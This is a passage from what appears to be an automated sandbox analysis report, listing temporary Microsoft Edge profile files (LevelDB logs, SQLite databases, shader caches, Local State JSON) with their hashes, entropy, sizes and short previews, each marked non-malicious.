SHA1:	06FEE974987B91D82C2839A4BB12991FA99E1BDD
SHA-256:	A2CA52E34B6138624AC2DD20349CDE28482143B837DB40A7F0FBDA023077C26A
SHA-512:	15F7F8197B4FC46C4C5C2570FB1F6DD73CB125F9EE53DFA67F5A0D944543C5347BDAB5CCE95E91DD6C948C9023E23C7F9D76CFF990E623178C92F8D49150A625
Malicious:	false
Preview:	...n'................_mts_schema_descriptor...

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Sync Data\LevelDB\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Sync Data\LevelDB\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	275
Entropy (8bit):	5.249719881757547
Encrypted:	false
SSDEEP:	6:7PWS4HM1N723fQmux2KLlpPWS4u4q2PN723fQmEIFUv:7x4HsasVLTx4u4vVajFUv
MD5:	CCF8B96C871CB6743C07FF4366D65566
SHA1:	D5852C0EC09BB5EEEE3070A417B604B166227802
SHA-256:	F097AB14E24AA9377E4DD3F3E92E559818D2BA63955597F0D2FEF86529EACD79
SHA-512:	2E2A3BEF04B03126B2CEACDBC1B66F0BAF929A89CB9E9ACE7615E19BA7FA40A5DC7099C5A273E3301C654C03680E5EA67F30C024C9E390B857A8A043500C0755
Malicious:	false
Preview:	2024/12/18-13:28:23.159 16f4 Creating DB C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Sync Data\LevelDB since it was missing..2024/12/18-13:28:23.531 16f4 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Sync Data\LevelDB/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Sync Data\LevelDB\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Top Sites

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.3528485475628876
Encrypted:	false
SSDEEP:	12:TLiN6CZhDu6MvDOF5yEHFxOUwa5qguYZ75fOSiPe2d:TLiwCZwE8I6Uwcco5fBtC
MD5:	F2B4FB2D384AA4E4D6F4AEB0BBA217DC
SHA1:	2CD70CFB3CE72D9B079170C360C1F563B6BF150E
SHA-256:	1ECC07CD1D383472DAD33D2A5766625009EA5EACBAEDE2417ADA1842654CBBC8
SHA-512:	48D03991660FA1598B3E002F5BC5F0F05E9696BCB2289240FA8CCBB2C030CDD23245D4ECC0C64DA1E7C54B092C3E60AE0427358F63087018BF0E6CEDC471DD34
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....4....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Visited Links

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.002110589502647469
Encrypted:	false
SSDEEP:	3:ImtVCl:IiVCl
MD5:	595EBDC51542E21A3FB1CB0D2FD7711A
SHA1:	2738FB122F6900D374EE906C070807E3328B677C
SHA-256:	2F3F313A97ABD287E446B43D92A83599C336815E35488EB94A7DC42B8FCDDAF1
SHA-512:	D0FF8CD0754C00D2C14EE951FB64CBDB3F28B8943FAB4520C02663739B186F0833230DDC6249476862921A4F1A6A11F47D5EFD8BCF416E00A24BB58DB9088515
Malicious:	false
Preview:	VLnk.....?..........8.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Web Data

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 87, cookie 0x36, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	178176
Entropy (8bit):	0.9433219984290606
Encrypted:	false
SSDEEP:	192:Drb2qAdB9TbTbuDDsnxCkvSAzWn0lKOMq+Jw:D/2qOB1nxCkvSACnqKOMq+y
MD5:	9F46CDD267F3762473D94A68E93602A8
SHA1:	3508D5622E6F713CEBEF50E29225AB704893339F
SHA-256:	ED08B3C6767787F7B2132116CEEC7E735D2172657DEF1380344F89A0B8AF6EDD
SHA-512:	E565B009799BD5E219E56FB02331452186A26D9EFC87F176AD9E5B52521E5F3741E45A5E4C3E413DDF1FEDAEBC59FA99918D5DD081AA7F2AFCAD328B96884D7C
Malicious:	false
Preview:	SQLite format 3......@ .......W...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\Web Data-journal

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2568
Entropy (8bit):	0.056537765494375586
Encrypted:	false
SSDEEP:	3:73lEl1lOtllf:TlEQ
MD5:	6F98B35E7C9467093D226BB7CCC0C300
SHA1:	5C9CCB307AD7A0491F469C2B2B9BB7D497D55238
SHA-256:	D442767B36733C4F8C8C63F146732B32E3E4D3A9AC61E32B18BF572A065558B5
SHA-512:	67099E53905EF20405C73893F5666D8618ABBC49F36AB831E294E24040D20533080D4FCBF008F14ACE55952934251E20D0712526E529DF0B13BB7CB35DC4E31A
Malicious:	false
Preview:	...............z...W....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\arbitration_service_config.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3852), with CRLF line terminators
Category:	dropped
Size (bytes):	11417
Entropy (8bit):	5.237554345326078
Encrypted:	false
SSDEEP:	192:dH4vrmORnBtW4PoiUDNaxvR5FCHFcoaSbqGEDu:dH4vrmonPW4jR3GaSbqGEDu
MD5:	DF790948C5A7B5DD19D033FE6C793868
SHA1:	0C4A681E07505CA84997CE78FEEE1F0D88CB8E2A
SHA-256:	CB4049061A6A78013D20CC4AB396BEF4F6C35306887BE76765EED4E51EEE702D
SHA-512:	251C3B5DE5452E2F40C648BDB2E3D1CE2315DD4DFFAF4B4E5E08528DBAAB80535F1A82E183A65AB7DCA0C2926AE5D6B61F06DB390D0E3B8D8E77E826B21042CB
Malicious:	false
Preview:	{.. "ArbitrationSignal": "(time_elapsed_since_last_notification)-3600^(notification_quick_dismiss_rate_lower_ci+notification_disable_rate+notification_snooze_rate)",.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f41

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\b04c802b-1c2e-4e77-b60f-ffc456687db0.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	271
Entropy (8bit):	5.285451531627504
Encrypted:	false
SSDEEP:	6:7PWf81N723fQmKrl2KLlpPWvq2PN723fQmKrK+IFUv:79amLTsvVat3FUv
MD5:	AE3C065096B9AAC12A36133B3722B15F
SHA1:	7F7FE7A7E48C5AB6CFBEC8539741BAF428050CAD
SHA-256:	73F376C28D1C7DE23F82863A2B6EC4566F43FF2AE332E48C5589F6F911723957
SHA-512:	DF1F4DE9B597179325D63E784AD02FFF5593BD68CA120F85549BD2E28DEF2D8B2AF56AB2197F2871D776C3E392E0D31CE8A5C4CE7E292CC2C72CCA90D7EFA89B
Malicious:	false
Preview:	2024/12/18-13:28:24.644 1c30 Creating DB C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db since it was missing..2024/12/18-13:28:24.776 1c30 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db\metadata\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db\metadata\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	34
Entropy (8bit):	3.2608241254905095
Encrypted:	false
SSDEEP:	3:G0XttkJcsn:G0Xtqcs
MD5:	144F9E14F35606E2067B5DF655E3102E
SHA1:	B16B22A620A679A811068E67C65C67F97500BEC9
SHA-256:	BCA6A12EEF67DFB649266150CA95D24212F5F566182B85267694969575C5AB4C
SHA-512:	9C148840D66B9D7C2C55668A25E2D2AAE328A4F11016D440C7F5D930D53ABA0DC3DFF74552EC18A89EEBD370B09BD0A5F21A70F8A0D8B1847D1FE40BDFEFA4EC
Malicious:	false
Preview:	.h.6.................__global... .

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db\metadata\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db\metadata\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.218849752022871
Encrypted:	false
SSDEEP:	6:7PWbHM1N723fQmKrzs52KLlpPWepN4q2PN723fQmKrzAdIFUv:7GHsal9LTLpN4vVa6FUv
MD5:	BAB2BB056895987677971297C5EE7B7F
SHA1:	21DD2D2C6D2D259550386E01477AB81F23DBF2D7
SHA-256:	7E9388594CCB8C27D8A78A44F0D8ED472397FA9B1BB814D1FE119D84D9D6FF65
SHA-512:	38631AF745D3E331158AFB21E24B6AEDEB3CD4048C255BB4C614E58602ECCAD24051E62E944C3C05C6DB545D08F4194FB5F7150E449BCC2446E5A79D0043DEFA
Malicious:	false
Preview:	2024/12/18-13:28:24.620 16f4 Creating DB C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db\metadata since it was missing..2024/12/18-13:28:24.640 16f4 Reusing MANIFEST C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Default\shared_proto_db\metadata\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\GrShaderCache\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	modified
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNlKhAtq:Ls3Kq
MD5:	87F447A85DDE3999DEDFE5F92627F14F
SHA1:	A163D5C03D57EDDCA08B657193D0DF7079C2AA6A
SHA-256:	46FEF381B52F68B21E80CC9AFA785E50BEC6E746A79547578D9AF130AD46EFF5
SHA-512:	3B6E6025F647B43546758C5DF5EBBD56E22936AE8A2B5722D3ECBAAD13DCC7954F07565A466BF936A0270A2FE8D11A20BAB8A166E4AD37E3F22C56BBBC4ECA22
Malicious:	false
Preview:	............................................%./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Last Version

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Local State (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.530396431740801
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtp1rH4hW11/ZTFyik7MJdXBuBuwBbaTNhaRXXlQoTEtCY/g:YuBqDPafJrjH/ZlrgBzBbEaN6RE5
MD5:	DD67ACA5E95728F3C753856305F163C3
SHA1:	2C4D0F54EBF5588E397AF7E32758E1E346666504
SHA-256:	8C06864E3463E9D9070B44472EE36AD9BB6AB15F12C3FB9AA046E46C9F27F199
SHA-512:	52A84E76AED2716BCB0E7832B2620DCA7785A8F2CF5801538C2CFC1287ADAEE9E1A774303193851722F60CACD56B18E3CA0E555D225E418893D5D0A87070233F
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADgkcD+PUfzTaQEYJBZbFyIEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABh/ZZPNGmo7nDY3+SdtpaRiTM9ej9eO7+r3J2aIaLbwwAAAAAOgAAAAAIAACAAAADpu5vk+8kldlHAJZ8QMj1+rbDJ6RfdcAc6oW2Odg90vTAAAADlrd2IAosf+BZyd84iZFZxJCTqGkBgUI1klaQjW23W1HD9aWGyVMMjadeO6RS0OURAAAAAJLDZG+M3MEm6bzd4ZPzXppp3EnaMck9lX/E+MdZo/HFNgJsA/PEvNJcXWRebbN1gdNlHaCTMrpAFdRpyOvUk1g=="},"profile":{"info_cache":{},"profile_counts_reported":"13379020102830794","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1734546502"},"user_experienc

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Local State~RF47df6.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.530396431740801
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtp1rH4hW11/ZTFyik7MJdXBuBuwBbaTNhaRXXlQoTEtCY/g:YuBqDPafJrjH/ZlrgBzBbEaN6RE5
MD5:	DD67ACA5E95728F3C753856305F163C3
SHA1:	2C4D0F54EBF5588E397AF7E32758E1E346666504
SHA-256:	8C06864E3463E9D9070B44472EE36AD9BB6AB15F12C3FB9AA046E46C9F27F199
SHA-512:	52A84E76AED2716BCB0E7832B2620DCA7785A8F2CF5801538C2CFC1287ADAEE9E1A774303193851722F60CACD56B18E3CA0E555D225E418893D5D0A87070233F
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADgkcD+PUfzTaQEYJBZbFyIEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABh/ZZPNGmo7nDY3+SdtpaRiTM9ej9eO7+r3J2aIaLbwwAAAAAOgAAAAAIAACAAAADpu5vk+8kldlHAJZ8QMj1+rbDJ6RfdcAc6oW2Odg90vTAAAADlrd2IAosf+BZyd84iZFZxJCTqGkBgUI1klaQjW23W1HD9aWGyVMMjadeO6RS0OURAAAAAJLDZG+M3MEm6bzd4ZPzXppp3EnaMck9lX/E+MdZo/HFNgJsA/PEvNJcXWRebbN1gdNlHaCTMrpAFdRpyOvUk1g=="},"profile":{"info_cache":{},"profile_counts_reported":"13379020102830794","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1734546502"},"user_experienc

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Local State~RF47f00.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.530396431740801
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtp1rH4hW11/ZTFyik7MJdXBuBuwBbaTNhaRXXlQoTEtCY/g:YuBqDPafJrjH/ZlrgBzBbEaN6RE5
MD5:	DD67ACA5E95728F3C753856305F163C3
SHA1:	2C4D0F54EBF5588E397AF7E32758E1E346666504
SHA-256:	8C06864E3463E9D9070B44472EE36AD9BB6AB15F12C3FB9AA046E46C9F27F199
SHA-512:	52A84E76AED2716BCB0E7832B2620DCA7785A8F2CF5801538C2CFC1287ADAEE9E1A774303193851722F60CACD56B18E3CA0E555D225E418893D5D0A87070233F
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADgkcD+PUfzTaQEYJBZbFyIEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABh/ZZPNGmo7nDY3+SdtpaRiTM9ej9eO7+r3J2aIaLbwwAAAAAOgAAAAAIAACAAAADpu5vk+8kldlHAJZ8QMj1+rbDJ6RfdcAc6oW2Odg90vTAAAADlrd2IAosf+BZyd84iZFZxJCTqGkBgUI1klaQjW23W1HD9aWGyVMMjadeO6RS0OURAAAAAJLDZG+M3MEm6bzd4ZPzXppp3EnaMck9lX/E+MdZo/HFNgJsA/PEvNJcXWRebbN1gdNlHaCTMrpAFdRpyOvUk1g=="},"profile":{"info_cache":{},"profile_counts_reported":"13379020102830794","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1734546502"},"user_experienc

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\Nurturing\campaign_history

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\ShaderCache\data_0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\ShaderCache\data_1

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chr8AD6.tmp\ShaderCache\data_2

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
